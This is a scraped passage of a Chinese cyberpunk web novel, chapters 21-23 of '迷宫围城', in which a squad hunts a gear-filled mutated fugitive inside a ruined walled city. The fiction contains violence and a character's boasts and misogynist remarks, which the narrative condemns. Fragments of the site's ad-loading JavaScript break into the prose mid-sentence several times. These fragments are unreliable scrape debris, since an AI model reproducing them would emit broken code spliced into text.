跟猫相处的这几天,时序发现:猫有点怪,每次给它喂猫粮,猫咪总要看她半天才肯吃,她总觉得这猫是在用眼神谴责她放的太少了。 不过听说橘猫吃得多,时序倒也没放在心上,关于猫的一切她一闪而过,接着说:“3号无人机回传了一段影像,我们一起看看是否拍到凶手。” 时序说着打开权限,小队成员都能从终端看到。 无人机画面还算清晰,城寨这样的建筑物无人机比人更有优势,但是城寨内部比起外面要更加的幽暗,阳光难以照射,总给人一种阴森感。 3号机一边低空飞行一边不停将数据回传,它飞的很快,不一会就飞到城寨中心巨大的【天井】周围。 天井可以说是整个整个建筑物最亮的地方,即使如此,无人机也拍不清楚天井中的废墟。 整个天井几乎堆满红砖,沙土和钢筋水泥,除了3号机运气好从未被垃圾封堵起来的小巷进来,其他3架无人机均不约而同出现原地打转的现象。 “无人机看来还可以再迭代。”时序说。 “通信功能被干扰了。”边寒语调下沉,梵空关掉终端,“看来……任务有点难咯。” 她说是这么说,脸上却毫无紧张感。 “快看终端!”就在气氛有些凝滞时,钟晴突然惊叫。 时序低头,无人机画面开始变化了。 天井堆了整整三层楼高的垃圾,一根废旧钢管突兀地垂直立在中间,钢管的最顶端,似乎坐着个人型物体。 时序拧眉:坐在一根直径貌似也就十来公分的钢管上,屁股不难受吗? 无人机启动消音模式,静悄悄抬升高度飞到人型物体的背面,正如时序所想,对方的确是坐在钢管上。 安燃捂着屁股咂嘴:“啧,看着就疼。” “你看他的上衣,蓝白条纹的病号服,血迹位置也跟早川结太对得上。”边寒指着人型物体的背影分析。 “他在看什么?”时序低声问。 卓光远冷笑,“也许看你呢组长。” 时序默默用手按住腰后露出的斧头短柄。 卓光远不再吭声,耷拉着的手臂轻微晃动着,边寒先是呵斥了卓光远,接着对时序说:“我们现在要进去吗?” 时序想了想,“科长,听了这么半天,您有何高见?” 端坐在指挥室的林斐:“……进去看看。” “……”时序冲组员摆手:“卓光远跟我一组,钟晴安燃一组,每组配备两架无人机和一台巡逻机器人,小队指挥权限暂时交给边寒,梵空保证现场通讯,现在我将早川结太的信息传送到所有人终端上,发现问题及时联络。” 几个人立正敬礼:“了解!” 安燃的公鸭嗓首当其冲,时序听不得一点,赶紧挥手示意小队进入城寨,然后她侧身对卓光远说:“男士优先,你走前面。” 卓光远讥讽似的哼一声,捂着义体率先走进黑暗幽深的长廊。 对方走出一米后,时序跟上,接着安燃钟晴小对也跟上,在楼栋间的岔路分开,两小队背道而驰。 任务正式开始。 …… 研究中心。 林斐独自坐在所谓的【指挥室】里,其实是二科的办公室,她坐在时序的位子上,靠着椅背眼睛眨也不眨地盯着投影屏幕,指节有节奏地敲打着桌面,似是思考。 林蓦推门看到的便是这幅光景,林斐全身上下捂得严严实实,她笑笑,穿好身上的夹克走过去: “林科长,你真是全副武装,一点机会也不给异化粒子啊!” 林斐视若无睹。 林蓦看向屏幕,两个小队身后各自跟着一架无人机,无人机上自带调查员专用的记录仪,方便随时将影像回传。 目前时序正跟在卓光远身后,两人正准备登上破旧楼房的楼梯。 林蓦看了会,视线转到林斐身上:“林科长,好歹我算是你的上司咯,给点面子理我一下行吗?” 林斐这才施舍般地给林蓦一个眼神:“总科长。” 相当之敷衍。 林蓦咂咂嘴,只好主动开口:“哎,你的这帮人各个都是研究中心百里挑一的刺头,要是我肯定应付不来。” “……”林斐停止敲击桌面,“总科长,您说的对。” “???”林蓦再一次感觉自己好像被阴阳了,她琢磨自己是不是应该去报个辩论班进修一下,嘴笨的感觉真是太糟糕了。 “算了,我不跟你计较,”林蓦挥挥手,她随意拉出把椅子坐下,翘起腿,嘴里念念有词:“哎呦你这个办公室可真小哟,我这无处安放的长腿只能可怜的缩着。” 林斐好笑,刚说的不计较呢? “总科长,早川结太事件为什么分配给二科?这是你们执行一科和调查一科的范围。”林斐开口便是犀利问题。 林蓦靠着椅背,转动椅子的万向轮转圈:“这是上面的安排,我哪有干涉的权利。”说着,她指指天花板。 林斐面具下笑了下:“那就请总科长帮我转告,我无意趟研究中心这趟浑水,放过我这个从上面掉下来的人一把。” “阿……斐,”林蓦欲言又止,面上浮现一丝难过:“林科长,退让和示弱是换不来他人的同情的,如果你还想回……” “我不会回去的。”林斐掷地有声,她站起来,影子遮挡住林蓦,林蓦不得不抬头看她。 “在达成目的前,我是不会回去的,你就照我说的做。”林斐说完看向屏幕,时序她们看样子来到了某栋楼的某个房子里,只是时序和卓光远面对面,两人隔着两个身位,卓光远指着某处,两人正在争执。 …… “我说了!这里不可能有活人!你这样一百年也走不到天井!”卓光远大声吼道。 时序很平静:“我要调查这里,要走你自己走。” 卓光远气的来回转圈。 他走?他走个屁!研究中心出任务自有一套严苛的纪律手册,其中一条就是禁止在有队友的情况下单独行动。 在他看来,时序简直脑子坏掉 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ,本来往天井方向走的好好的,走着突然说要上楼看看,查看是否还有幸存者,本想随便看看就走,没想到时序竟然在这四面漏风的破房子来来回回转了十多分钟。 期间钟晴小队发来的坐标位置让他更暴躁了:钟晴她们距离天井还有不到一百米。 研究中心有员工激励,出任务谁先发现异化物或是先打倒异化物的小队都有奖励,卓光远不想把机会拱手让人,毕竟从坐标来看,他和时序距离异化物更近一点。 “行行行,那你他大爷的能不能快点?!”卓光远强忍住动手的欲望骂了句。 时序合上破旧书桌的抽屉,还是很平静:“很抱歉,我不能。” 卓光远一脚踢翻身边的破烂单人床。 其实她也不想磨叽,早点完成任务对她来说意味着有时间调查【主线任务】,但【系统】突然提示她必须解救建筑物内的幸存者,她有什么办法? 这里非常的破旧,外面的围墙看起来还算完好,但进来后她发现完全不是这样,而且根本不是看起来这么简单。 为了在有限空间内住尽可能多的人,楼里层层叠叠的设计了很多房间,走廊也是极窄,两个人面对面走过来的话,只能侧身而过。 更别说一人见宽的房檐,那也是不能放过的,时序看到了房檐上时不时出现的简易床钢架床。 光是看着都能感觉到拥挤,时序难以想象这里曾经住了多少人。 “哼,你不会是对这里好奇吧?”卓光远一声讥笑,他踢开身边的塑料板凳,语带不屑:“只有在十三区活不下来的人才会来这里抱团取暖。” “跟那帮街溜子一样,不成群结队,连在街上走的勇气都没有。” 卓光远的一番话,时序不禁想起坐地铁时碰到的那个健壮女人。 卓光远没发觉时序停顿的动作,接着说:“连十三区这种地方都活不下来的人,就不配活着。” “所以你认为你比那些人厉害?”时序放下手中只剩半边的染血相框,轻轻合上抽屉。 卓光远抬起义体手臂,做了个抓握的动作,“对,我就是比他们厉害,这帮人在我这里不堪一击。” 他的话引起时序注意:“你的意思是……”她放轻声音:“好像你遇到过似的。” 卓光远毫不忌讳,他笑了几声,笑声竟带着积分爽朗惬意:“把好像去掉,我遇到过它们,不对,应该是我主动找上门来的。” 他故意把声音压低,营造自以为是的性感:“我把它们全杀了,所以我才肯定的告诉你,这里没有活人。” 时序听完并不意外,她的淡然引起卓光远的不满:“你就一点都不害怕?不怕我杀了你?” “我为什么要怕,”时序看一眼不远不近的无人机,那是梵空放出来的,“卓光远,你不想离开研究中心,所以至少在他们的眼皮子底下,你会老实。” 她拍拍手套上的灰,“况且,”她拉长最后一个字的音调,学着卓光远的样子讲话:“你是我的手下败将,在我这里,你也不配活着。” 21. 迷宫围城(五) 她成功激怒了卓光远。 卓光远举起义体手臂拧成拳头向时序砸来,时序不偏不躲,泰然自若。 拳头距离时序头盔两公分处硬生生停下来,戛然而止。 时序见他停下,非但没有闭嘴,而是再度挑衅:“你说你杀光了这里的人,你确定不是在吹牛?别忘了我们过来是为了什么的。” 早川结太杀害矫正中心押运人员,以及【城寨】内部流浪汉事件。 卓光远迅速冷静下来,“B小队已经到达坐标点,队长,我们也应该行动了。” 他切换的很快,这反倒让时序有点吃惊了,时序短促地咳嗽一声:“看来这里暂时没有幸存者,我们先跟B小队会合。” 话音刚落卓光远一马当先冲出房间,时序紧跟其后,巡逻机器人殿后,时序一边爬楼一边从走廊缝隙往中间的天井看: 她和卓光远大约在两层到四层的位置,这个高度内存在大量建筑垃圾,无法看到天井上面,3号无人机始终与早川结太保持距离,生怕惊动此刻不知是人还是别的什么的早川结太。 【时序!早川结太发现3号无人机!3号无人机被摧毁!】边寒稍显急促的声音突然出现。 时序一惊,边寒继续说:【检测到异化值异常波动,计划有变全员立即回撤!】 “撤什么撤!女人就是不行!”卓光远啐一口,“我们都到跟前了!这个波动在普通异化物峰值范围内,怕个屁!” 卓光远说完,时序明显感受到不约而同的微妙冷场。 时序不太明白卓光远为什么总拿性别说事,真要计较起来,研究中心的女男比例是压倒性的。 被身为女性的时序打倒,指挥小队行动的边寒,乃至她们的上司林科长,哪怕女性的权利早就凌驾于卓光远之上,他却还一口一个女的不行。 时序沉下眼,她稍加思索,开口道:“边寒,先让B小队撤离吧,我和卓光远再深入看看,梵空,通讯能保证吗?” 梵空压低语调,有样学样的模仿卓光远难听的气泡音:“有我在肯定没问题的啦,别说在这里,就算你们在意识阈里,我也能保证通讯畅通无阻。” 时序:“够了,难听死了。” 梵空变本加厉,用气泡音念了首诗。 林斐的声音又插进来:“不要把经费浪费在无聊的事情上,以后二科禁止用气泡音讲话。” 旁边的林蓦笑的拍大腿:“哈哈哈!人才啊!不愧是神经病阿空!” 林斐瞥她一眼,“别随便给我的属下起外号。” 还是带有侮辱性质的外号。 林蓦笑够了,她摆手,“你刚来不知道,神经病阿空可不是我原创的,研究中心都这么叫她,”她视线转回边看边说:“书面资料只能让你了解一个人的外在,内在还需要相处才能略知一二,” “轮不到你教我。”林斐打断她,“还是说你想动用身为总科长的权利命令我?” 她霎那间变得咄咄逼人。 林蓦举手投降:“好好好,我不打扰你了,我走还不行吗?” 林斐没理她,看向屏幕的双眼带了些凝重。 时序让B小队撤离,自己跟卓光远深入城寨,林斐下意识地想要阻止时序,她的手指神经质地抽动了一下,阻止的话语没有说出来,手指跟着沉寂。 她静静地,全神贯注地盯着屏幕。 屏幕里的时序则没林斐那副沉重模样,除了系统的调查任务外,她其实还有个自己的小小私心: 她打算等机会好好揍一顿卓光远,最好是把他揍服的那种。 削掉他的杂毛,弄短路他的义体手臂,她觉得还不足以抵消卓光远对她的冒犯。 她想要卓光远发自内心的改变他所谓的【女人不行】的观点。 时序侧头看看无人机,她有自己的小心思,卓光远同样,他的心思就差写到头盔上了:对方同样想看有没有机会对付时序。 在无人机的监控下,双方都不好做动作。 “那我们继续前进,按原计划到达目标位置。”心思千回百转,时序开了口。 卓光远点点头,主动走到时序前面,时序跟上,她们的目标是跟高管顶端高度一致的七楼,除了几分钟前的异化值波动,一切都在正常范围内。 没有【阈】,同样也没有人。 城寨内部见不到阳光,时不时有风从残垣断壁处吹来,加上阴暗迷宫似的内部结构,令人无端升起一丝烦闷。 除了脚步声,就是两人的呼吸声。 安静的让人汗毛直竖。 【这里真的有幸存者?你确定?】时序不禁在脑内问系统。 【主线任务:寻找度假村真相,倒计时:23小时30分钟。】 系统没有回答,反而开始倒计时,时序无言以对,分神的功夫差点没注意一动不动的卓光远。 时序停留距离卓光远一米远左右,她掏出腰间的手枪,另一只手按在腰后随时准备抽出短柄斧。 “嘘……”卓光远示意时序安静,她们行至拐角,卓光远警惕性很高,他没探头出去,而是从兜里掏出一块圆镜,确认前方没有异常,他才示意前进。 时序紧紧握住枪柄,她没有经过专业的枪械训练,比起枪,冷兵器让她更有安全感。 过了拐角,她和卓光远弯腰迅速到达计划坐标点:位于七楼的一处还算完好的房间,这里视角相对开阔,还能观察到那根突兀竖起的钢管。 一堆垃圾里面插着一根钢管,暂且不说钢管是怎么竖起来的,只是这种既视感,时序总感觉诡异。 “到达坐标点,请指示。”时序收敛心神,对边寒说。 通讯里传来微小的电流滋滋声,隐藏在边寒的讲话声下: “我们又派了一架无人机过去,早川结太消失71秒后再次出现,并且保持固有姿态直到现在,你们先在原地待命,我随时将无人机影像回传。” 时序点点头,并未放松警惕,毕竟她和对方都心怀恶意,她笃定自己会在【适当】的时机捅对方一刀,对方也一定是这样想的。 前方是狭窄的缝隙,透过缝隙她能看到前方挺立的钢管,头盔的磨砂玻璃区域加强了她的视野,她甚至能看到早川结太破碎而随风飘荡的蓝白色病号服的衣角。 他弓着细长的身体,抬头仰望。 时序不禁想:这里的风是什么味道? 在她的想象中,这样的城中村,既有午夜时分潮湿地面泛起的下水道味,也有夕阳时分到深夜总能闻到的各种各样的食物香 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 味,或许还有晾衣服时隐隐飘过的洗衣液的香味。 睡在房檐又是什么感觉?夏天会不会被蚊子咬的难受?会不会热的睡不着?抬眼就能看到的星空会不会让人感觉到一丝安宁? 还有最重要的:一路过来看到的生活痕迹,到底是什么让这么多的人甘愿住在这里? 是梦想吗? 时序思绪随着风飘远,耳边似乎也响起曾经的人声鼎沸。 一开始她以为是她听错了,可当她看到卓光远向她看来时,她想,或许她没听错。 “这里有活物。”时序低声几近耳语。 卓光远伸手指了指她们斜对面的房间,她没听错,有什么东西发出形似痛苦的呻吟。 时序定定神,抽出斧头,猫腰轻轻走过去—— 木门被风吹得嘎吱嘎吱响,呻吟声戛然而止。 时序做手势,示意卓光远继续盯着早川结太。 卓光远转身。 她五根手指虚按着门,待风停后,屋内再没传出声音,时序站在门边保持这一姿态差不多五分钟,期间早川结太也没有任何变化,就这么仰头迎着阳光。 五分钟后,时序按着门的手轻轻拨门,门是向内开的,她一点一点地将门打开,黑洞洞的空间迎来一丝丝光明。 待她将门打开大半时,昏暗房间内的布局已然差不多出现在眼前。 时序低头,门边躺着个人,剩下的半边门被对方的身体堵住,也就只能打开大半,她拎着斧头小心地接近对方,对方穿着棒球服夹克,头发很长,长到要盘到脑后。 卓光远瞥了眼,语气夹杂几分惊异: “黑塞的人?!” 时序蹲下把人仰面翻过来:“黑塞?” 卓光远顿了顿,居然耐心解释:“黑塞他们帮派头目的名字,帮派的名字叫黑色赛吉,简称黑塞。” “这里不是他们的地盘……”卓光远小声嘀咕一句,时序没听清,她揪着棒球服把人拉出来,拍拍手上的灰:“看来这就是幸存者咯。” 卓光远对她嘴里的【幸存者】略有疑惑,时序一进来好像就知道这里有幸存者,幸存者还是【黑塞】的人,可时序看样子压根不知道黑色赛吉…… 难道她是装作不认识黑塞? 卓光远心中疑虑,如果时序跟黑塞有关的话,那他就不能没有顾虑的在这里除掉时序了。 “边寒,我这里发现个活人,怎么处理?”卓光远还在思考,时序已经在问边寒怎么处理,卓光远皱起眉,抢过边寒的话头: “我认为应该先观察幸存者的状况,观察他是否异常。” 时序一听,卓光远说的好像有道理。 边寒那边沉吟:“遇到幸存者?时序你查看过对方的体征了吗?” “他好像受伤体力不支晕过去了,”时序蹲着掀开对方眼皮看了看,“我想办法把他弄醒,” 说着,她揪起对方的衣领,左右开弓来了两个大耳刮,不过对方也确实清醒了。 “喏,醒了,你叫什么?”时序问。 对方捂着脸有点懵,下意识回答:“我是……黑塞……” 时序点点头:“边老师,他说他叫黑塞。” 倒是隐去了卓光远刚说的黑色赛吉的事。 22. 迷宫围城(六) “你怎么跑这里面的?”不等边寒说话,时序又问。 黑塞清醒了些,他眼神微动,长腿一扫差点把时序扫个屁蹲,时序顺势站起一脚踩住对方来不及收的腿,时序看到对方翘起的嘴角后,倏的收回脚。 黑塞站起来,拍了拍夹克上的灰尘,时序这才看清楚对方的夹克上有个花朵状的刺绣。 “嗐,你以为我想来?还不是有人工作没做好害我返场,看来你们也是一样,来找他的。”黑塞自来熟地靠到时序边上,直指缝隙后钢管上的早川结太。 时序啧一声,往废墟边缘走了走,跟两人都保持距离。 “这里不是你们黑塞的地盘,哪来的工作?”卓光远语气不好。 黑塞耸肩:“这跟你有关系吗?你算哪位,管我们黑色赛吉的事?” 时序憋笑,卓光远则有点气急败坏: “我管不了你们,可老板说过不让帮派跨区执法吧?” 黑塞啧啧:“哎呦你以为抬出老板我就怕你?我怕你个球啊!有本事你找老板告状去啊!看老板揍你还是揍我!” 卓光远:…… 边寒适时在通讯器里咳嗽两声,提示自己的存在。 卓光远身体一僵,时序则无所谓的摆手,意思这不关她的事,是卓光远自己说的。 她还好心帮忙隐瞒来着呢,到头来还是卓光远自己破功。 “原来这就是你们说的幸存者,十三区大名鼎鼎的黑色塞吉。”边寒竟然开始阴阳怪气。 “……”时序站在一旁随时注意着早川结太的动向,一边看眼前这出戏。 头盔内的通讯外人听不见,因而黑塞不知道有边寒这么个人存在,他身形瘦高,盘起的头发稍显凌乱,夹克上的浅色刺绣沾染了些许深红色,想来是血迹。 “你们两个研究中心的老登,别以为戴个头盔就威风了哈!我告诉你,我的车不知道比你们这个破头盔高级多少!”黑塞吐出口血水,莫名其妙地破防了。 时序无语,怎么还有这种人?一句话都没说自顾自破防的。 卓光远冷冷瞥一眼,突然杀出来的黑塞坏他好事,再加上根植于身体的雄竞意识,他对黑塞的观感,可谓是差到极致。 “你有病吧?不说我把你另一条胳膊也打断!”时序喝了一声,黑塞下意识缩了下脑袋,他挠头,刚才油嘴滑舌的嚣张气焰灭下去大半: “你喊什么!我不就抱怨两句吗?还不让说了……”他在时序的注视下声音越来越小,停顿了几秒钟,他再次开口: “之前我和同伴在这里杀过一只刚成型的异化物,但前几天……老板找上我,说我们没有彻底杀掉它,异化物同化了住着的流浪汉,放任不管的话,这里会变成【阈】。” “!!!”时序惊讶,也就是说这里除了状况未知的早川结太,还有另一只能展开意识阈的异化物?! 边寒反应很快,立刻向中心救援,两只异化物,这超出她们的处理范围了。 二科刚成立就分到这么难的任务,时序心里腹诽,她理清思路,直指重点地问道:“你刚才说我们也是一样来找早川结太的,这句话是什么意思?” 但愿不是她想的那种。 这么想着,她简单地将早川结太的情况同步给了黑塞。 黑塞听着,顺便掏出袋能量胶,万分嫌弃地挤到嘴里,含糊不清地说:“那你这么说的话,我估计那玩意可能把我要找的异化物吞噬了,他身上有它的部分特征。” 时序:“你要找的异化物能展开意识阈?你确定吗?” 黑塞咽下胶:“呸,这玩意真难吃,我不确定,老板是这么说的,不过我记得当时都碎成一块一块的了,居然还活着,生命力可真顽强啊……” 他发出不合时宜的赞叹。 三番五次提到【老板】这个人,时序脑中再次浮现那晚地铁上的健壮女性,于是她问了个跟现状完全无关的问题:“你说的这个【老板】,是不是一个扎着麻花辫,身材特别……特别健壮的女人?” 黑塞顿时两眼放光,点头如捣蒜:“哎对对对,哎呀你也认识老板?” “不认识,见过一面,她还挺善良的。”时序说。 黑塞深吸一口气,正要展开长篇大论,被卓光远一声暴喝打断:“早川结太动了!他往这边看了!” 时序背部贴着墙角,半边身体隐没在阴影中,她捏紧手里的短柄斧,卓光远伸出机械臂摆出防御姿态,唯有黑塞大咧咧站在还算空旷的地面,捂着左肩。 接着是仿佛合成器发出的重低音音效,眨眼间,早川结太出现在黑塞对面。 他仍然弓着身体,病号服胸口处是早先圆锯的撕裂痕迹,他头发长的很快,几天不见头发比押送时长了三到四厘米。 他背对着时序,时序无法看到他的正脸,只能看到对方病号服下凸起的肿块。 黑塞不慌不忙跟对方打招呼,“来找我报仇的?不就把你那破锯子踢坏了嘛,看你急的。” 早川结太眼窝和脸颊深深的凹陷着,过长的刘海背风吹起露出脑门,黑塞看得真切,一双眼睛倏然瞪大,嬉皮笑脸的表情登时变得震惊,还有一丝些微的疑惑。 “原来你……呃……”黑塞话没说完,早川结太突然旋身侧踢,脚面直指黑塞脖颈,黑塞歪头极限躲过,耳朵还是被擦到,破了层皮。 “喂,程序员突然身手这么好,这太不科学了吧!”黑塞嚷嚷着,时序则目光深沉。 黑塞脖子歪到接近直角,怎么看都不是正常人类颈椎能承受得了的,与此同时黑塞极限躲过攻击的时候,时序听到他发出装饰物的清脆碰撞声。 略微下移视线,时序注意到他是用一根步摇固定脑后的丸子头的,难怪他动起来会发出声音,除了步摇,黑塞的右耳还有个耳坠,耳坠的最下方挂着个小铃铛,只要他动作幅度稍微大些,身上便会响起叮叮当当的声音。 还怪浮夸的。 黑塞对自己脑袋变成直角好似并不意外,他单手拨正脑袋,动动肩膀: “哎,你们两个别看着啊!过来帮忙啊!” 卓光远冷笑,镭射枪始终对准二人:“我为什么不等你们两败俱伤呢?我又不傻。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 黑塞咂嘴,早川结太一动不动,他绕过对方,刚还满是血迹耷拉着的左臂这会揣兜,他径直走到卓光远跟前,怼了怼卓光远的头盔: “看你这样,一看就是低质量男性,黑……大仔讲过,对于低质量男性,不能手下留情。” 卓光远后退,重重拍开黑塞手指,声音沙哑:“你说谁低质量?” 黑塞转身,脱下棒球服外套,“要不说你没脑子,肯定是你呀!她不是男人,我一看就很靠谱,除了你,还能有谁?” 棒球服外套在他手里变的越来越小,他捏着指尖把外套叠好,又用大小刚好的透明塑料袋装好,最后妥帖地装进衬衫口袋里,做完这一切,他动动已经能活动自如的左手臂,绕着早川结太转了一圈。 时序觉得这个人虽然比卓光远看着顺眼,但也有种神经不正常的美。 有人会在打架前叠衣服吗? 都赛博时代了,怎么还有人用步摇扎头发? 时序猛的瞪大眼睛:这个黑塞内里穿的衬衫,领口也是颇为古风的盘扣,黑金衬衫上跟他的外套一样,有花朵状的刺绣。 他刚才是不是把外套变小了? 难道是什么黑科技? “呵呵……”也许是黑塞的话刺激到了早川结太,早川结太喉咙发出破碎的低笑声,黑塞本不在意,但不知想到什么,眼中流露出浅浅的忌惮。 时序身体靠墙,卓光远端着镭射枪,黑塞正面对着二人,早川结太在开始的侧踢后再未动过,卓光远眼中流光闪动,拉开了镭射枪的保险。 咔哒一声,在安静的环境中清晰可见。 黑塞扬起的微笑唇骤然拉下,“你要干什么?” 卓光远用行动回答了他。 蓝绿色的光芒一闪而过,强大的后坐力令他后退半步,具有杀伤力的光芒轻易穿透早川结太的身体,黑塞反应很快,飞扑躲过,刚排干净的灰尘又沾染一身。 时序见状,暂时没管黑塞,她猫下腰,一手捏着手枪,另一只手拿着斧头,时刻准备进攻。 早川结太的胸腹处被镭射枪击中,他胸腔到小腹的□□组织被镭射枪的热量蒸发,血液立刻浸染他蓝白色的病号服,可他仍旧站着,毫无反应。 “……” 时序吸口气,异化物再生能力很强,可早川结太的伤口并未愈合。 而对卓光远来说,这并不意外,镭射枪发出的光芒可以瞬间蒸发人体,对异化物而言,就是抑制□□再生的毒。 只是。 有什么声音。 咔,咔,咔,喀拉。 好似数百年没有运转过的机器开始运转。 “这是什么声音?”时序小声喃喃,她的眼神从未离开早川结太,尽管她明白【阈】里面会发生一些异变,但早川结太仍然令她感到震惊。 这一刻,她们在场的人,包括正在通过无人机观看现场的人,不约而同的,感到一丝冰冷的寒意顺着后背向上攀爬。 早川结太蓝白色病号服下面被蒸发的、空洞的胸腹下,是无数卡的严丝合缝的、转动着的—— 齿轮。 23. 迷宫围城(七) 其实这并不特别让人意外,时序想象过类似的场景,近未来的人类,也许身体里真的会长满齿轮也说不定。 又或者肚子里沉甸甸的满是螺丝钉。 但想象跟亲眼所见的差距是不可逾越的,当她真的看到人类身体里的血淋淋的齿轮后,她不禁想: 人类,到底是由什么组成的? 刚才她听到的类似钥匙插进锁孔里转动的声音,原来是早川结太身体里的声音。 大概是身体里的齿轮开始转动的原因,早川结太终于动了,他低头看看自己连同身体一并被蒸发掉的病号服,双手颤抖着向上—— 慢吞吞的,一个一个的、笨拙地系上了病号服的扣子。 与此同时,他舌头打结似的开口: “你们——” “为什么——” 几个字后,他话语逐渐流利: “你们,为什么,抓我?” 黑塞从地上爬起来,卓光远的镭射枪威力很大,这间房被他轰出个大洞,但是…… 洞边的残壁沾到早川结太的血液,血液以恐怖的速度增殖,转眼密密麻麻的齿轮将洞堵得严严实实。 “你杀了人,杀人偿命,哪来的脸问为什么抓你?”黑塞讽刺道。 “杀人……?”早川结太反问,他像是从梦中苏醒,神志逐渐清明:“我杀了谁?你们刚才不也杀了我吗?” 时序经过方才的惊讶后迅速冷静下来,她回道:“早川结太,你杀害了两名矫正中心的押运员,还杀了这里居住的流浪汉。” “不管你记不记得这回事,这都是真实发生过的。” 早川结太注意力并不在她身上,他眼神转了一圈,定格到黑塞身上。 黑塞跟他保持距离,但也不忘嘴贱:“你可别这么看我,我知道我很受欢迎。” 早川结太抬手,时序看到他缩在袖笼里的右手,变成一柄晶体状的刀,他似乎觉得眼前的头发碍事,随手一摸,尖锐的刀锋削掉的除了头发,还有他小半个脑袋。 这下真是摸不着头脑了。 “……忘记了……”早川结太用仅剩的下半张脸上的嘴巴说,下一秒,他的脑袋又长了回来,只是双眼变成了一对巨大的尖齿齿轮。 一切都是那么诡异。 早川结太慢慢向黑塞走去,黑塞方才被他踢到的耳朵此时伤口已然愈合,他站在原地,一只手甚至揣进裤兜里,看着游刃有余。 “怎么,想起来我们是怎么把你碎成一块一块的了?说起来你现在到底是早川结太,还是……”他拉长语调,一双丹凤眼眯起:“还是那个碎成肉沫的冤亲债主?” 早川结太脚步一顿,他动动左臂,开口像是有无数个声音交迭:“是啊,你们杀了我,杀了刚【出生】的我。” 话音刚落,他走到黑塞身前,细细打量着黑塞:“你的同伴呢?” “黑……大仔她飞升了,不会吧,你不会还想找她吧?忘了她是怎么秒杀你的了?”黑塞做作的摆出吃惊的表情。 【早川结太】扬唇:“不会忘,这辈子都不会忘……所以……” 他伸出右臂,倏然刺向黑塞,黑塞捏住他的手腕,一拉一扯间,硬生生把对方手掌连同整个手臂撕扯下来,接着他握住早川结太的手臂,反客为主先把对方喉咙捅了个对穿,然后用力向边上一划—— “哈哈,被自己的刀杀死的感觉如何?”黑塞哈哈大笑,将刀柄上的血液洋洋洒洒甩到地上,接着顺手把手臂扔给时序,时序接住,径直交给机器人,下命令让机器人先撤退。 打不死人,至少把部分身体组织送出去研究也算有收获。 “……”早川结太单手捧着自己掉落的头颅,血液浸泡着他苍白的病号服,头颅眼睛半睁,被黑塞拽掉的胳膊上的袖子,抛向时序的时候掉落。 轻飘飘,落到了地上。 “这是梦吗……”手捧着头颅的人喃喃自语。 他的脖颈开始重新构建,亦如他陷入幻觉时所看到的。 “这不是梦。”黑塞回答他,“喂,你吃药吃多了,脑子吃出毛病了?” 他继续问:“虽然不一定有关系,但我还是要多嘴问一句,你吃的药是怎么来的?你从哪买的?你的上家是谁?” 早川结太将自己的脑袋放回脖子上,齿轮上的尖齿完美契合,下一秒,他的头恢复完好如初,就连右臂也恢复了,刀刃模样的手掌变成了人类该有的样子。 他从病号服的裤兜里摸出一副黑框眼镜戴上,然后看了眼时序身边飞着的无人机。 “通讯中断!梵空,怎么回事!”边寒抬高声音,“研究中心那边也联络不上……!” 她说话间不经意抬眼向城寨望去: 原先破旧的城寨蒙上一层沙色薄雾,雾中传来嘈杂声,彰显着曾经盛极一时的热闹—— “看来它已经展开【阈】咯,我在你身边呢,别那么紧张,你不是一直想看嘛,你看看,这不愿望就成真了!”梵空拍拍边寒的后背,语调轻松写意。 “时序她们……”边寒稳定心神,“你不是可以保证通讯吗?该到你发挥作用的时候了。” 一旁的安燃戴上头盔:“还有我!” 几个人看都没看他一眼,钟晴也凑过去,指指外部的废旧楼梯,“我们也进去协助吧,从外部上去,可行吗?” 梵空摘掉牛仔帽,露出浓密的深绿色头发,她换了个坐姿,橘黄色尖头皮鞋的鞋尖轻轻晃动: “可行,正好试试监测中心开发的新型巡逻机器人,” “听到了吗时序,钟晴她们一会从外部楼梯进入,登陆地点距离你们所在位置大约——500米,那边有处地形开阔的地方,你们想办法把异化物引诱到那里,我们会用重型武器强行突入击杀。” 时序轻轻点头,“了解。” 还是第一次听梵空一口气一本正经讲这么多话,她有点意外。 毕竟一路上梵空不是在高声念诗就是在自言自语些听不懂的话。 话音刚落,另一辆皮卡车踩着飞扬的尘土,一个大回环急停到边寒她们所在的防暴车身边,车上分明是执行科的标志。 林蓦下车,接着是林斐。 “科长。”几人立正行礼。 林蓦没穿防护服,只是把夹克外套换成了中长款的冲锋衣,腰间别着一柄可以折叠的折叠刀,腰后分别还有三柄只露出 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 刀柄的刀。 “啧,这地方怪偏僻的。”林蓦下车的第一句话就是嫌弃她们停车的地方风沙太大。 “因为你车开的太烂。”林斐冷言冷语,她同样没换防护服,带着面罩。 林蓦哼一声,径直走到防爆车里看恢复画面的屏幕: “我去,什么东西?怎么长得一点人样都没有?”看了一眼她皱眉,别开视线。 “……”边寒顿顿,开始报告情况,“早川结太吞噬了另一只异化物,发生了变异,可以使用另一只异化物的能力,目前它展开意识阈,【阈】正以极快的速度将整个建筑包裹。” “时序她们会把异化物引到这里,”边寒指了指终端模型里的一处空地,“然后我们这边负责消灭它。” 林斐坐在距离屏幕一米远的地方,跟众人保持距离,面罩下的双眼看着屏幕,边寒报告完情况后,她开口:“卓光远。” 对方无应答。 她自顾自说:“我知道你能听到,去支援时序,和幸存者。” …… 时序抽空重重喘了口气,抬眼看着在低空中缠斗的二人,黑塞的花衬衫破破烂烂的,对面的早川结太也好不到哪去,几乎可以用衣不蔽体来形容,方才时序几乎把它所有部位都砍瓜切菜似的切了一遍,然而对方的再生速度远远超出认知,到后来,上一秒被时序破坏的部位下一秒就长出新的来,伴随着超速再生的身体的,还有藤壶一样密密麻麻的齿轮。 眼前的早川结太与其说是人类,倒不如说更像是由无数圆锯型的齿轮组成的,长着尖齿的齿轮不停转动,碾碎了一层又一层的血肉和皮肤,流下的血液又转化成数不清的齿轮。 卓光远早就跑的没影了,时序喉咙发甜,近身搏斗中她被早川结太肘部击中侧胸肋骨,齿轮割破了防护服,头盔右眼附近也被齿轮砸出裂缝,严重影响了她的视野。 